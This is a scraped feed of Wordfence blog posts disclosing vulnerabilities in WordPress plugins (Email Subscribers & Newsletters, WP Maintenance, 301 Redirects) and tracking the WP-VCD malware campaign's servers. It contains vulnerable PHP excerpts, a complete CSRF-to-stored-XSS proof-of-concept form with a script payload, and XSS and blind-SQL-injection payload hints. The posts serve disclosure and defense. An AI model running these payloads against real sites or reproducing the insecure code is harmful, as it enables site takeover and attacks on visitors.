					exit();
				}
			}

			$csv = $this-&amp;gt;generate_csv( $status, $selected_list_id );

Blind SQL Injection in INSERT statement

Description: Blind SQL Injection in INSERT statement
CVSS v3.0 Score: 8.3 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.3.0
Patched Version: 4.3.1

Another feature of Email Subscribers & Newsletters was a functionality that tracked ‘open’ actions, amongst a few others, for emails that were sent via configured campaigns. Unfortunately, there was a flaw in this plugin that allowed SQL statements to be passed to the database in the hash parameter creating a blind SQL injection vulnerability. These actions were unauthenticated by default, meaning any user could send these requests, even if no campaigns existed, increasing the significance of this vulnerability.

Vulnerability in Detail

The vulnerable code was present within the \ES_Actions::add function. Rather than using a wpdb::prepare statement, the plugin concatenated the values of the $args parameter into the SQL query and did not escape any additional SQL characters or input. This allowed an attacker to be able to blindly inject SQL statements, like '+SLEEP+' and observe the response from the database, providing useful information to an attacker.

 private function add( $args, $explicit = true ) {

	global $wpdb;

	$args = wp_parse_args( $args, array(
		'created_at' => ig_es_get_current_gmt_timestamp(),
		'updated_at' => ig_es_get_current_gmt_timestamp(),
		'count'      => 1,
	) );

	$sql = "INSERT INTO {$wpdb->prefix}ig_actions (" . implode( ', ', array_keys( $args ) ) . ')';
	$sql .= " VALUES ('" . implode( "','", array_values( $args ) ) . "') ON DUPLICATE KEY UPDATE";

	$sql .= ( $explicit ) ? " created_at = created_at, count = count+1, updated_at = '" . ig_es_get_current_gmt_timestamp() . "'" : ' count = values(count)';

	$result = $wpdb->query( $sql );

	if ( false !== $result ) {
		return true;
	}

	return false;
}

Special thanks to our lead developer, Matt Barry, for discovering this vulnerability. 


Insecure Permissions on Dashboard and Settings

Description: Insecure Permissions on Dashboard and Settings
CVSS v3.0 Score: 6.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter registers a menu full of settings, audience information, campaign information, forms, and more. This provides administrators with a central area to manage all of this plugin’s features. Unfortunately, there was a flaw in this plugin that allowed any user with the edit_post capability to view and modify settings, along with editing email campaigns and subscriber lists. Typically, only Contributor roles and above have the edit_post capability, however, a number of plugins and themes create custom roles that could allow base level users with the correct permissions to view and edit the settings and features of this plugin, introducing a security risk.

Vulnerability in Detail

This vulnerability was trivial to exploit for any attacker able to login as a user with the edit_post capability. Once the attacker was logged in as a user with the correct capability, the menu options were displayed in the toolbar and the attacker could navigate to the settings and campaigns and make any changes they wanted to. This included sending new campaigns, viewing subscriber information, adding new users, changing settings, and more.

Example of what a user with the edit_post capability can see and modify.


Cross-Site Request Forgery on Settings

Description: Cross-Site Request Forgery on Settings
CVSS v3.0 Score: 5.4 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter provides site owners the ability to change and alter settings just like any other plugin. Unfortunately, there were no nonce checks on settings updates that verified if the request came directly from an already existing session with an authenticated administrative user, creating a CSRF vulnerability. This vulnerability allowed attackers to modify settings via CSRF. Some of the settings impacted included: messages to display after subscription, the email “from” address, what mailer to use, standard emails to send after certain actions, and more.

Vulnerability in Detail

The settings form for this plugin generated a nonce with the name es-update-settings, and submitted this nonce with the settings. The issue in this case arose because the code did not perform any verification to check whether the nonce submitted was valid or not. With this vulnerability, a settings update could have been submitted with a blank or invalid nonce, as it did not verify that the nonce submitted came from a valid session. Considering this plugin also had a lack of secure permissions, this vulnerability had a much larger target surface, considering any user with edit_post capabilities could be targeted, whereas typically only administrative level users have the ability to modify plugin settings.

	public function es_settings_callback() {

		$submitted     = ig_es_get_request_data( 'submitted' );
		$submit_action = ig_es_get_request_data( 'submit_action' );

		$nonce = ig_es_get_request_data( '_wpnonce' );

		if ( 'submitted' === $submitted && 'ig-es-save-admin-settings' === $submit_action ) {
			$options = ig_es_get_post_data('', '', false);
			$options = apply_filters( 'ig_es_before_save_settings', $options );
                <!--
                


<div class="content save">
                    <input type="hidden" name="submitted" value="submitted"/>
                    <input type="hidden" name="submit_action" value="ig-es-save-admin-settings"/>
					<?php $nonce = wp_create_nonce( 'es-update-settings' ); ?>

                    <input type="hidden" name="update-settings" id="ig-update-settings" value="<?php echo $nonce; ?>"/>
					<?php submit_button(); ?>
                </div>



                -->

Send Test Emails from the Administrative Dashboard as an Authenticated User [Subscriber+]

Description: Send Test Emails as Subscriber+
CVSS v3.0 Score: 4.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

As previously mentioned, Email Subscribers & Newsletter provides site owners the ability to create “campaigns” that will be sent out via email. Part of the plugin functionality includes an option in the settings dashboard to send test emails in order to verify that a site’s mail function and email integration is working properly. Unfortunately, there was a flaw in this plugin that allowed authenticated users with subscriber and above access the ability to send test emails on behalf of the site owner. Although this is a less severe vulnerability, it still has the potential to be used for harm, as an attacker could send out unwanted emails from a site owner’s email server.

Vulnerability in Detail

In order to send test emails, this plugin registers a wp_ajax function to send_test_email. By default, AJAX actions can be triggered by any authenticated WordPress user sending a request from the wp-admin dashboard. For more sensitive functions, plugin developers should include a permissions or capability check to verify that the AJAX request is coming from a user with the appropriate capabilities to perform that action. With this plugin, we saw that there were no access control checks to verify that the request was coming from an authenticated administrative user, allowing lower level authenticated users to send test emails on behalf of the site owner.

 		add_action( 'wp_ajax_send_test_email', array( $this, 'send_test_email' ) );
 	function send_test_email() {
		$message = array();
		$message = array(
			'status'  => 'ERROR',
			'message' => __( 'Something went wrong', 'email-subscribers' )
		);

Unauthenticated Option Creation

Description: Unauthenticated Option Creation
CVSS v3.0 Score: 6.4 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletters has an on-boarding process that can be skipped after the plugin is activated. When the on-boarding process is skipped, it creates a new option in the database and saves the value as “yes.” Unfortunately, there was no access control for this feature so any unauthenticated user had the capability to create this option in the database, which could be appended with any value. This option value could later be modified with malicious code in conjunction with the CSRF vulnerability, though we were unable to exploit this by executing any code in this value, making this a much less severe issue.

Vulnerability in Detail

This function used an admin_init action to create the new option. This type of action typically runs when a user accesses the admin area of a site, however, it can also run on admin-ajax.php and admin-post.php. Therefore, if no access controls are in place, unauthenticated users have the ability to initiate the function by sending a request to admin-post.php or admin-ajax.php. This plugin used admin_init with no access controls, therefore, any user had the ability to create a new option with the name ig_es_ob_skip_[option_name], with [option_name] being any value input in the option_name parameter when sending the request. This option would be created with the default value of yes, which could later be changed using the CSRF vulnerability. All an attacker needed to do to exploit this vulnerability was to send a request to admin-ajax.php or admin-post.php with the es_skip parameter set to 1 and the option_name parameter set to the desired value.

 		add_action( 'admin_init', array( $this, 'es_save_onboarding_skip' ) );
	//save skip signup option
	function es_save_onboarding_skip() {

		$es_skip     = ig_es_get_request_data( 'es_skip' );
		$option_name = ig_es_get_request_data( 'option_name' );

		if ( $es_skip == '1' ! empty( $option_name ) ) {
			update_option( 'ig_es_ob_skip_' . $option_name, 'yes' );
			$referer = wp_get_referer();
			wp_safe_redirect( $referer );
			exit();
		}
	}

Disclosure Timeline

October 14th, 2019 – Developers notified privately of security issues.
October 14th, 2019 – Firewall rules released to Wordfence Premium users.
October 17th, 2019 – Developers acknowledged issues and released patches.
October 17th, 2019 – Developers notified that one of the patches was insufficient.
October 23rd, 2019 – Developers released another patch, which was sufficient but needed further security controls. Developers were notified.
November 13th, 2019 – Final Patch is released.
November 14th, 2019 – Free users receive firewall rule to protect against this vulnerability.

Conclusion

In today’s post, we detailed several security flaws present in the Email Subscribers & Newsletter plugin. These flaws have been patched in version 4.3.1 and we recommend that users update to the latest version available immediately. Sites running Wordfence Premium have been protected from attacks against most of these vulnerabilities since October 14th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on November 14th, 2019.

The post Multiple Vulnerabilities Patched in Email Subscribers & Newsletters Plugin appeared first on Wordfence.

High Severity Vulnerability Patched in WP Maintenance Plugin

$
0
0

Description: Cross-Site Request Forgery to Stored Cross-Site Scripting
CVSS v3.0 Score: 8.8 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H
Affected Plugin: WP Maintenance
Plugin Slug: wp-maintenance
Affected Versions: <= 5.0.5
Patched Version: 5.0.6

On November 15th, 2019, our Threat Intelligence team identified a vulnerability present in WP Maintenance, a WordPress plugin with approximately 30,000+ active installs. This flaw allowed attackers to enable a vulnerable site’s maintenance mode and inject malicious code affecting site visitors. We disclosed this issue privately to the plugin’s developer who released a patch the next day.

Plugin versions of WP Maintenance up to 5.0.5 are vulnerable to attacks against this flaw. All WP Maintenance users should update to version 5.0.6 immediately.

Limited Nonce Protection and Input/Output Sanitation

WP Maintenance provides a maintenance mode to site owners wishing to take their site offline during a maintenance period, with useful features for enabling and customizing a maintenance page. These features include a customizable title, customizable text, a custom maintenance page image, custom css styles, a countdown, font and color choices, etc.

With extensive customizability comes a greater responsibility for security. Unfortunately, without nonce protection and scarce input/output sanitization on values, Cross-Site Request Forgery (CSRF) leading to Cross-Site Scripting (XSS) vulnerabilities were possible in WP Maintenance.

Settings could be edited across 6 tabs: General, Colors & Fonts, Pictures, CountDown, CSS Style, and Settings, all of which were susceptible to a CSRF attack. Additionally, several settings could be injected with malicious code, allowing XSS attacks. Settings could also be manipulated to an attacker’s benefit. For instance, an attacker could enable maintenance mode on a site, causing a loss of availability.

The following code illustrates the lack of nonce verification on setting updates:

 /* Update des paramètres */
if( isset($_POST['action']) && $_POST['action'] == 'update_general' ) {

    if( isset($_POST["wp_maintenance_social_options"]['reset']) && $_POST["wp_maintenance_social_options"]['reset'] ==1 ) {
        unset($_POST["wp_maintenance_social"]);
        $_POST["wp_maintenance_social"] = '';
    }
    update_option('wp_maintenance_social', $_POST["wp_maintenance_social"]);
    update_option('wp_maintenance_social_options', $_POST["wp_maintenance_social_options"]);
    update_option('wp_maintenance_active', $_POST["wp_maintenance_active"]);
    
    $options_saved = wpm_update_settings($_POST["wp_maintenance_settings"]);

    $messageUpdate = 1;
}

A Closer Look at the Exploit

Although all of the settings in this plugin could be changed as a result of this CSRF vulnerability, the “General” settings tab had the most potential impact. This tab is where maintenance mode could be enabled and custom text and title options could be configured.

General settings tab for WP Maintenance.

With no input sanitization, the “Enable Newsletter” feature allowed an attacker to inject malicious code, creating a stored XSS vulnerability that could be exploited by taking advantage of the CSRF vulnerability.

The newsletter title is displayed on the maintenance page without output sanitization, meaning any malicious code set in the newsletter block by an attacker would be executed by a visitor’s browser when in maintenance mode.

Enable newsletter setting from dashboard.

Because an attacker could also enable maintenance mode on a single setting update, these vulnerabilities combined could lead to a site being taken offline and, for example, used to redirect visitors to a malicious site.

Example of what a site would look like if exploited by this vulnerability.

Proof of Concept

<html>
  <body>
   <form action="http://URL/wp-admin/admin.php?page=wp-maintenance" method="POST">
      <input type="hidden" name="action" value="update_general" />
      <input type="hidden" name="wp_maintenance_active" value="1" />
      <input type="hidden" name="wp_maintenance_settings[titre_maintenance]" value="EVIL ATTACKER!" />
      <input type="hidden" name="wp_maintenance_settings[text_maintenance]" value="Come back quickly!" />
      <input type="hidden" name="wp_maintenance_settings[text_bt_maintenance]" value="" />
      <input type="hidden" name="wp_maintenance_settings[add_wplogin]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[add_wplogin_title]" value="" />
      <input type="hidden" name="wp_maintenance_settings[enable_seo]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[seo_title]" value="" />
      <input type="hidden" name="wp_maintenance_settings[seo_description]" value="" />
      <input type="hidden" name="wp_maintenance_settings[favicon]" value="" />
      <input type="hidden" name="wp_maintenance_settings[code_analytics]" value="" />
      <input type="hidden" name="wp_maintenance_settings[domain_analytics]" value="URL" />
      <input type="hidden" name="wp_maintenance_social_options[enable]" value="0" />
      <input type="hidden" name="wp_maintenance_social_options[texte]" value="" />
      <input type="hidden" name="wp_maintenance_social[facebook]" value="" />
      <input type="hidden" name="wp_maintenance_social[twitter]" value="" />
      <input type="hidden" name="wp_maintenance_social[linkedin]" value="" />
      <input type="hidden" name="wp_maintenance_social[flickr]" value="" />
      <input type="hidden" name="wp_maintenance_social[youtube]" value="" />
      <input type="hidden" name="wp_maintenance_social[pinterest]" value="" />
      <input type="hidden" name="wp_maintenance_social[vimeo]" value="" />
      <input type="hidden" name="wp_maintenance_social[instagram]" value="" />
      <input type="hidden" name="wp_maintenance_social[google_plus]" value="" />
      <input type="hidden" name="wp_maintenance_social[about_me]" value="" />
      <input type="hidden" name="wp_maintenance_social[soundcloud]" value="" />
      <input type="hidden" name="wp_maintenance_social[skype]" value="" />
      <input type="hidden" name="wp_maintenance_social[tumblr]" value="" />
      <input type="hidden" name="wp_maintenance_social[blogger]" value="" />
      <input type="hidden" name="wp_maintenance_social[paypal]" value="" />
      <input type="hidden" name="wp_maintenance_social_options[size]" value="32" />
      <input type="hidden" name="wp_maintenance_social_options[style]" value="style1" />
      <input type="hidden" name="wp_maintenance_social_options[position]" value="bottom" />
      <input type="hidden" name="wp_maintenance_social_options[align]" value="center" />
      <input type="hidden" name="wp_maintenance_social_options[theme]" value="" />
      <input type="hidden" name="wp_maintenance_social_options[reset]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[newletter]" value="1" />
      <input type="hidden" name="wp_maintenance_settings[title_newletter]" value="<script>alert("YOU'VE BEEN HACKED!")</script>" />
      <input type="hidden" name="wp_maintenance_settings[type_newletter]" value="shortcode" />
      <input type="hidden" name="wp_maintenance_settings[code_newletter]" value="" />
      <input type="hidden" name="wp_maintenance_settings[iframe_newletter]" value="" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

CSRF & Security Awareness

This vulnerability offers a good time to remind ourselves of the importance to stay vigilant to all input from users on our sites, as CSRF exploits are difficult to protect against. A CSRF, or Cross Site Request Forgery vulnerability “is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.” This means that CSRF vulnerabilities can only be exploited when someone with administrative capability performs an action set up by an attacker. For example, clicking on a link while currently authenticated to a web application like WordPress.

A common example to consider is receiving a comment on your WordPress blog containing a link. Clicking the link in the comment to see what the commenter is referring to could lead to exploitation of a vulnerability. Instead of that link taking you to the site you think you may be visiting, it could send a request to update your WordPress website plugin settings on your behalf.

Stay vigilant when clicking links or attachments in comments or even in emails because it is possible that someone is trying to exploit the human weakness on your site: you. We recommend not visiting any links from an untrusted source because malicious content could be on the other side of that link – even on the other end of a URL shortened link.

If you absolutely must visit and don’t have a virtual machine to protect you from infection, ensure you have antivirus on your machine, then copy the link, make sure you are logged out of all sites, open an incognito window, paste the link in the incognito browser, then visit the site. This can help protect against CSRF vulnerabilities.

As shown in this post, a CSRF has the potential to severely affect your site, it’s availability and your users, and this vulnerability can be easily avoided through security awareness.

Wordfence Protection

The Wordfence firewall’s built-in XSS rules protect against the stored XSS in vulnerable versions of WP Maintenance. To exploit this XSS vulnerability the CSRF vulnerability must be exploited. As CSRF vulnerabilities cannot be protected against via firewall, we recommend updating to the latest version of WP Maintenance and following our CSRF recommendations to keep your sites safe.

Disclosure Timeline

November 15th, 2019 – Initial private contact with developer and notification of security issue.
November 15th, 2019 – Developer responds.
November 16th, 2019 – Developers acknowledged issue and released patch.

Conclusion

In today’s post, we detailed a CSRF to Stored XSS flaw present in the WP Maintenance plugin. This flaw has been patched in version 5.0.6 and we recommend users update to the latest version available. Sites running Wordfence are protected against XSS exposure by our firewall’s generic rules, however, our firewall rules can not protect against this CSRF vulnerability so it is important to take precautionary measures when clicking links in comments or sent to you via email so you are not exploited by this vulnerability.

The post High Severity Vulnerability Patched in WP Maintenance Plugin appeared first on Wordfence.

WP-VCD Evolves To Remain Most Prevalent WordPress Infection

$
0
0

Early last month we released a comprehensive paper covering WP-VCD, the most prevalent malware campaign affecting the WordPress ecosystem in recent memory. In this paper we examined the campaign from a number of angles, such as the behavior of the malware itself, its method of distribution, and its evolution over time.

The presence of threats like WP-VCD demands that WordPress users remain vigilant about the security of their sites in the long term. Scams like these are prolific for a reason: They’re effective. Our data shows that WP-VCD is still infecting more new sites per week than any other active malware campaign. Even after publishing a paper on the campaign, we have yet to identify any meaningful change in the rate of new infections.

This lack of impact suggests an issue of user demographics. Simply put, it’s unlikely that security is a priority for the WordPress user who downloads pirated content from back-alley websites. Neither the whitepaper itself, nor reports from popular security news sources on the subject, would ever have been on that user’s radar. This reinforces an important point: Awareness is your most valuable security tool.

In today’s post, we’re going to look at what’s changed with WP-VCD between last month and today, and share some tips for staying vigilant against this threat and other scams like it.

Recap: What is WP-VCD?

WP-VCD is a malware infection designed to target WordPress sites by hiding in nulled, or pirated, plugins and themes. Its controllers exploit their victims to boost search engine rankings for the sites that distribute the infected code. The attackers then monetize the campaign with malvertising scripts, which trigger potentially dangerous popups and redirects for the victim sites’ visitors.

It’s a sophisticated campaign. It preys on unaware WordPress users looking for a way to get free access to paid content. Then, by using newly infected sites to draw more victims in, it can maintain a reliable base of compromised sites even as earlier victims clean up the mess. Lastly, the campaign is resilient. In the event that one of WP-VCD’s command and control (C2) domains are taken down, it can quickly rotate in a new one.

Some details were still unclear when we wrote the report, however. We hadn’t been able to identify where the campaign hosted its infrastructure. All domains used in the campaign, from the malware’s C2 sites to the SEO-boosted sites distributing the infected content, had DNS routed through Cloudflare’s content delivery network (CDN). This abstraction allowed the campaign to run without revealing the IP addresses behind it all.

Intervention From Cloudflare

Cloudflare acted quickly when we published our report. Less than twenty-four hours after the paper went live, access to WP-VCD’s C2 domains had been limited by the addition of a warning page.

A phishing warning page from Cloudflare.

A phishing warning page from Cloudflare.

While a human visitor could click through to see the content behind the warning page, a call from an infected website wouldn’t make it through. This prevented WP-VCD’s victim sites from accessing the /code.php and /o.php endpoints, which distributed instructions and registered newly infected sites.

The campaign’s C2 domains were the only ones affected by this intervention. Cloudflare did not add warnings to the sites responsible for distributing the infected plugins and themes.

DNS Exposure

Since the malware scripts could no longer access their C2 sites, WP-VCD’s controllers were forced to pull those domains from Cloudflare’s services.

Beginning November 5th, less than a day after the campaign’s exposure in our whitepaper, WP-VCD moved its command and control DNS away from Cloudflare. The new DNS provider is AliDNS, a service associated with Alibaba, the Chinese tech conglomerate.

WHOIS results for C2 domain trilns.com, showing ALIDNS.COM nameservers.

WHOIS results for C2 domain trilns.com, showing ALIDNS.COM nameservers.

While Cloudflare provided CDN services which concealed the primary server behind the campaign, AliDNS did not. The C2 domain’s DNS records were now pointing directly at a single address: 94.156.175.170.

Researching The Host

The IP address 94.156.175.170 points to a cPanel server belonging to Verdina LTD, a company ostensibly based in Belize but with servers in Bulgaria.

This isn’t the first time hackers used Verdina’s servers to perform criminal activity without reprisal. In 2016 it was revealed that DDoS-for-hire service vDOS was hosted across four of Verdina’s servers. The service was also known for allowing IP spoofing, which made “stresser” services like vDOS possible. Hacking forum users have pointed out Verdina specifically as an example of hosts that were forced to stop spoofing in order to retain their allocated IP address space.

The company’s connection to Belize also appears to be exclusively a bureaucratic one. The corporate address listed in Verdina’s Terms of Service, 1 Mapp Street, Belize City, Belize, suggests a relationship with International Corporate Services, a financial firm designed to help you create your very own non-resident corporation in Belize.

Screenshot of the homepage of offshorebelize.com.

Screenshot of the homepage of offshorebelize.com.

We’re continuing to investigate activity associated with Verdina’s IP address space.

Testing The Host Server

As we detailed in the whitepaper, WP-VCD’s C2 sites rotated through new domain names frequently. We included more than a hundred in our report, but it’s safe to assume there have been more than that. What we didn’t know, due to their use of a CDN, was whether the attackers were rotating servers behind the scenes as well. With one domain name now pointing to one server, we needed to test if that server could be linked to previously used C2 domains.

For example, the C2 domain active at the time of this writing is www.trilns.com (Note the www. in the address, these domains have always required the www. subdomain to resolve). An HTTPS request to 94.156.175.170 for the hostname www.trilns.com will receive a valid TLS certificate for the domain, which was generated by the cPanel server running the site. Since the server administrator would need to intentionally generate each certificate, we could test the server for the existence of certificates associated with earlier C2 domains.

Screenshot of the cPanel-signed certificate for C2 domain www.ratots.com.

Screenshot of the cPanel-signed certificate for C2 domain www.ratots.com.

 

In our testing, we were able to confirm the presence of valid cPanel certificates for all of the command and control domains we tested, even those not actively used in years. We also confirmed that this server hosts ins.spekt.pw, a domain used as part of WP-VCD’s viral marketing campaign.

SEO-Heavy Download Sites Still Behind Cloudflare

One part of the campaign we couldn’t associate with this server, however, was the distribution of infected plugins and themes. While an old, broken version of vestathemes.com could be found on 94.156.175.170 with an expired certificate, we determined that server wasn’t the current host of it or the other sites in the distribution network like downloadfreethemes.co and freenulled.top. We also hadn’t found the origin server behind the site hosting the actual infected zip files, download-freethemes.download.

Screenshot of a DIG request showing Cloudflare DNS used on download-freethemes.download.

Screenshot of a DIG request showing Cloudflare DNS used on download-freethemes.download.

Each of these sites, entry points for unknowing WordPress administrators to infect themselves with WP-VCD, were still protected by Cloudflare’s CDN. It is unclear at this time why Cloudflare intervened with warning pages on the C2 domains but not the sites reached by human visitors.

…But We Found Them Anyway

The C2 server at 94.156.175.170 broadcasts its hostname as vesta.vestathemes.com. With that in mind, we searched Shodan for other hostnames or service banners associated with the vestathemes name. Two different addresses were calling themselves server2.vestathemes.com: 94.156.175.192 and 94.156.175.193.

Using the same tests as before, we determined that 94.156.175.192 is the origin IP behind the nulled content distribution network. This includes the SEO-boosted domains advertising the infected plugins and themes, as well as download-freethemes.download, the site the zips are actually downloaded from.

The remaining address, 94.156.175.193, is still under investigation. We have not affirmatively associated this server with any outward-facing activity. However, navigating directly to either IP address and forcing a cPanel 404 page reveals a mailto: link for x1ngbox@gmail.com. Those who read the WP-VCD whitepaper will recognize this as the primary email address associated with the WP-VCD campaign.

A cPanel-generated 404 page from 94.156.175.193, linking the server to the email x1ngbox@gmail.com.

A cPanel-generated 404 page from 94.156.175.193, linking the server to the email x1ngbox@gmail.com.

Tips For Remaining Vigilant Against Scams

  1. Be responsible with the third-party code you add to your website. While WP-VCD is simple enough to avoid by steering clear of nulled plugins and themes, recent history has shown that even ostensibly-legitimate developers are capable of adding questionable code to their products.
  2. If you are not personally handling the development of your website, ensure you fully trust the people you’ve assigned the task. Less-than-reputable “gig” developers, who claim to offer full custom site builds for a price that’s too good to be true, frequently cut corners that will cost you headaches at minimum. Even if they’re not intending to infect your website, they’re still interested in cutting costs by getting commercial themes for free, and they’re not sticking around your site long enough to make sure it’s clean.
  3. As a general rule, never trust a page you didn’t intend to visit. WP-VCD and other recent attack campaigns have been identified injecting malvertising scripts. These scripts redirect a site’s visitors to unwanted locations. These pages attempt to trick you into giving them what they want. This includes phishing for logins with claims like “You must log in to your Google account to view this content”, or prompting you to engage in a tech support scam by claiming your device is corrupted or infected. They’ll also ask mobile users for permission to receive push notifications, which can be used to send further spam notifications.
  4. Periodically visit your sites from new devices and locations without logging into them. WP-VCD’s malvertising code attempts to hide itself from administrators by storing a cookie on their device and logging the IP address they connected from. That way, even if the admin logs out, it can still hide until they clear their cookies and connect from a new IP address. This technique is not unique to WP-VCD, and can be useful in identifying other malicious activity that would have otherwise gone unnoticed.
  5. If your site was a victim of WP-VCD or another malware infection, you should inform your users as quickly as possible. Responsible site ownership means being forthright about the fact that your site’s visitors may have encountered dangerous code. Plus, depending on the way browsers cache your site, some of your visitors may still see an infected version for a while after you’ve cleaned it. Giving your users a heads-up isn’t just the ethical thing to do, it demonstrates to them that their security is a priority.

Conclusion

The actors behind the WP-VCD campaign have shown that they are quick to respond when infrastructure changes are necessary. It’s possible that new changes are forthcoming in the wake of the campaign’s recent information leakage. It’s hard to say how this campaign may evolve further over time. Continuing trends in the detection of new WP-VCD infections suggest that the campaign is going as strong as ever.

Preventing your site from falling victim to WP-VCD is simple: don’t install nulled plugins or themes. Not only does it take money from the folks who built the content, but sourcing code from untrustworthy sources has clear negative implications for the health of your website.

Because awareness is the most effective defense against infecting your own site, you can help spread this defense across the WordPress ecosystem. Share the WP-VCD whitepaper, inform, and educate less technical users so they’re empowered against the malicious actors that prey upon a lack of awareness. WordPress is stronger because of the community, and our educational efforts make us all stronger.

If you’re curious for more detail about WP-VCD and haven’t read it already, check out our report: WP-VCD: The Malware You Installed On Your Own Site.

The post WP-VCD Evolves To Remain Most Prevalent WordPress Infection appeared first on Wordfence.

Critical Vulnerability Patched in 301 Redirects – Easy Redirect Manager

$
0
0
Description: Authenticated Arbitrary Redirect Injection and Modification
Affected Plugin: 301 Redirects – Easy Redirect Manager 
CVSS Score: 9.0 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
CVE ID: CVE-2019-19915
Affected Versions: <= 2.40
Patched Version: 2.45

On Friday December 13th, our Threat Intelligence team discovered vulnerabilities present in 301 Redirects – Easy Redirect Manager, a WordPress plugin installed on over 70,000 websites. These weaknesses allowed any authenticated user, even subscribers, to modify, delete, and inject redirect rules that could potentially result in a loss of site availability. We privately disclosed the issue to the plugin’s developer, who was incredibly quick to respond and release a patch.

Though this vulnerability required the attacker to be authenticated, numerous WordPress sites allow for registration as a subscriber. For these sites, exploitation of this vulnerability would be quite simple.

This is considered a critical security issue, and websites running 301 Redirects – Easy Redirect Manager 2.40 or below should be updated to version 2.45 immediately. On the same day we discovered the vulnerability, Wordfence Premium customers received a new firewall rule to protect against exploits; free users will receive the rule after thirty days, on January 12, 2020.

Unprotected AJAX Actions Gone Awry

301 Redirects – Easy Redirect Manager is a simple plugin used to set up 301 redirects on WordPress sites. In order to save new redirects and modify old redirects, the plugin registers several AJAX actions using a seemingly safe is_admin() function to prevent unauthorized access. 

if (is_admin()) {

  // Ajax funcs
  add_action('wp_ajax_eps_redirect_get_new_entry',            array($this, 'ajax_get_entry'));
  add_action('wp_ajax_eps_redirect_delete_entry',             array($this, 'ajax_eps_delete_entry'));
  add_action('wp_ajax_eps_redirect_get_inline_edit_entry',    array($this, 'ajax_get_inline_edit_entry'));
  add_action('wp_ajax_eps_redirect_save',                     array($this, 'ajax_save_redirect'));

Trac: eps-301-redirects.php

However, is_admin() only checks to see if the “dashboard or the administration panel is attempting to be displayed.” As per the WordPress.org Codex, “this function does not verify whether the current user has permission to view the Dashboard or the administration panel.” In addition, the same goes for the admin-ajax function: it only verifies that the request is coming from the administration panel and does not verify any permissions. 

Therefore, due to the lack of capability checks on the AJAX actions, any user authenticated as a subscriber or above can use these AJAX actions to delete redirect entries, create new redirects, and view the form to add or edit inline entries. Because many attackers compromise sites with the hopes of redirecting traffic to spammy or malware-infested sites, this is an attractive and easy method of exploiting a vulnerable site. 

The unprotected AJAX actions are where the vulnerabilities begin; a deeper look found more problems.

Lack of Proper Input Validation

Investigating further, we found that the ID parameter, which is used to create an ID for new rules and identify existing rules, lacked any input validation or sanitization and was later reflected on the page. This led to a reflected XSS vulnerability that could not only be exploited on its own, but also in conjunction with a new redirect injection. Fortunately, the Wordfence firewall’s built-in XSS protection blocks this vulnerability for both our free and premium users. 

XSS being exploited in 301 Redirects – Easy Redirect Manager plugin using <BODY ONLOAD=alert(1)> payload.

Missing CSRF Protection

The vulnerable version of the plugin also failed to use a nonce for any of the AJAX actions that were used to modify and create new rules. This created a CSRF weakness that could be exploited if an attacker could not gain subscriber level privileges. In addition, the attack surface for CSRF to be exploited was much larger due to the lack of permissions checks on the AJAX actions. As such, any user with subscriber or above permissions could be targeted to exploit this vulnerability, creating a more worrisome issue. 

The End Result

Each independent vulnerability was significant. As a group, the vulnerabilities in the 301 Redirects plugin created a significant risk to the WordPress site owner with a vulnerable version installed. An attacker exploiting these weaknesses could create havoc for site visitors who could have been redirected to malicious sites. These sites could have collected credentials via phishing pages or infected vulnerable computers with malware, amongst other things. 

Even if a site did not have subscriber registration open, the CSRF vulnerability might allow a social engineering attack to succeed in injecting new redirects or deleting old ones. 

If one exploit attempt failed, there was another exploit that could possibly succeed. 

Disclosure Timeline

December 13th, 2019 – Initial private contact with developer and notification of security issue. Firewall rule is released to premium members.
December 14th, 2019 – Developer responds.
December 16th, 2019 – Full details sent to developer. 
December 16th, 2019 – Developer acknowledges vulnerabilities and starts working on patches 
December 17th, 2019 – Developer releases patch.   
January 12th, 2020 – Free users receive firewall rule. 

Conclusion

In today’s post, we detailed several vulnerabilities present in the 301 Redirects – Easy Redirect Manager plugin, that led to one very severe issue. Fortunately, the plugin developer was incredibly quick to respond and release a patch for the vulnerable endpoints. These flaws have been patched in version 2.45 and we urge users update to the latest version available as soon as possible. 

Sites running Wordfence Premium have been protected from attacks against this vulnerability since December 13th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on January 12th, 2020 and should update the 301 Redirects plugin immediately.

The post Critical Vulnerability Patched in 301 Redirects – Easy Redirect Manager appeared first on Wordfence.


Multiple Vulnerabilities Patched in Minimal Coming Soon & Maintenance Mode – Coming Soon Page Plugin

$
0
0

